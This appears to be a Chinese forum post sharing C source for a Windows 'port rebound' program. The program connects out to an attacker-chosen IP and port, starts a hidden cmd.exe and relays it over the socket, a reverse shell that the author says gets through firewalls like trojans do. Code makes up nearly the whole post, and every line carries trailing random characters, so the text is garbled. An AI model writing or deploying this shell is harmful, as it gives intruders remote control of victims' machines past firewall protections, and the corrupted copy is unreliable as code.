Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 6PC?*^v  
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/* ============================== c2L\m*^o  
Rebound port in Windows NT #o,FVYYj  
By wind,2006/7 /%)(Uz  
===============================*/ vP\6=71Y  
#include / %iS\R%ca  
#include Z~[eG"6zI  
4~8-^^  
#pragma comment(lib,"wsock32.lib") TX7dwmt)N  
50a';!H  
void OutputShell(); "<f?.l\+  
SOCKET sClient; [+="I &  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [.w`r>kZI  
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void main(int argc,char **argv) TI\EkKu"  
{ \rE] V,,2  
WSADATA stWsaData; U#<{RqY  
int nRet; F`,Hf Cb\  
SOCKADDR_IN stSaiClient,stSaiServer; Nq|y\3]  
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if(argc != 3) Tt=;of{  
{ %a:T9v  
printf("Useage:\n\rRebound DestIP DestPort\n"); @VyNe(U  
return;  m3^D~4  
} Z,"YMUl'  
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WSAStartup(MAKEWORD(2,2),&stWsaData); =NSunW!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0f
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stSaiClient.sin_family = AF_INET; =W>a~e]/  
stSaiClient.sin_port = htons(0); <fA}_BH%]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ltMcEv-d0  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /!y;h-  
{ {xOzxLB;  
printf("Bind Socket Failed!\n"); `:jF%3ks+0  
return; e)}=T0 s  
} TtQd#mSI\  
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stSaiServer.sin_family = AF_INET; l.Z+.<@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nZG zez  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k_?~@G[I  
`tcX[(`  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]24]id  
{ B\% Gp}  
printf("Connect Error!"); G*~CB\K_  
return; Xq"Es  
} 9l:[jsk<d  
OutputShell(); BB ::zBg  
} ZwiXeD+4  
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void OutputShell() .ud&$-[a  
{ xsNOjHk  
char szBuff[1024]; jj]|}G  
SECURITY_ATTRIBUTES stSecurityAttributes; HiD%BL>%  
OSVERSIONINFO stOsversionInfo; q'IMt7}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JSaF7(a =  
STARTUPINFO stStartupInfo; r=p^~tuyxr  
char *szShell; AJ3Byb=.  
PROCESS_INFORMATION stProcessInformation; cIK4sOTJ&  
unsigned long lBytesRead; <7zz"R  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /zr)9LQY0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Bgp%hK  
stSecurityAttributes.lpSecurityDescriptor = 0; fZ^ad1o  
stSecurityAttributes.bInheritHandle = TRUE; YPO24_B  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;Cjj_9e,:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n36iY'<)G  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gA3f@7}d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }]<|`FNc  
stStartupInfo.wShowWindow = SW_HIDE; @x;(yqOb  
stStartupInfo.hStdInput = hReadPipe; NS;LFeGD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bfpoX,:   
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GetVersionEx(&stOsversionInfo); -.L )\  
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switch(stOsversionInfo.dwPlatformId) a4Z e!l(  
{ 2Uu!_n}tNF  
case 1: QjYw^[o  
szShell = "command.com"; v yt|x5  
break; <'BsQHI  
default: FPPl^  
szShell = "cmd.exe"; P^U.VXY}  
break; Vock19P  
} 4$U^)\06W  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Xn>>hzj-x?  
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send(sClient,szMsg,77,0); .YP&E1lNi  
while(1) 73SH[
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{ }9!}T~NMs  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uc|ej9N  
if(lBytesRead) bqaj~:}@  
{ [$:L|V!{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8U7dd[  
send(sClient,szBuff,lBytesRead,0); Lr=
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} )HvBceN  
else h
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{ rhly.f7N=A  
lBytesRead=recv(sClient,szBuff,1024,0); ug;~dhe~  
if(lBytesRead<=0) break; {kb7u5-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T21?~jS  
} `0MQL@B  
} !|- U,  
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return; 4X+I2CD  
}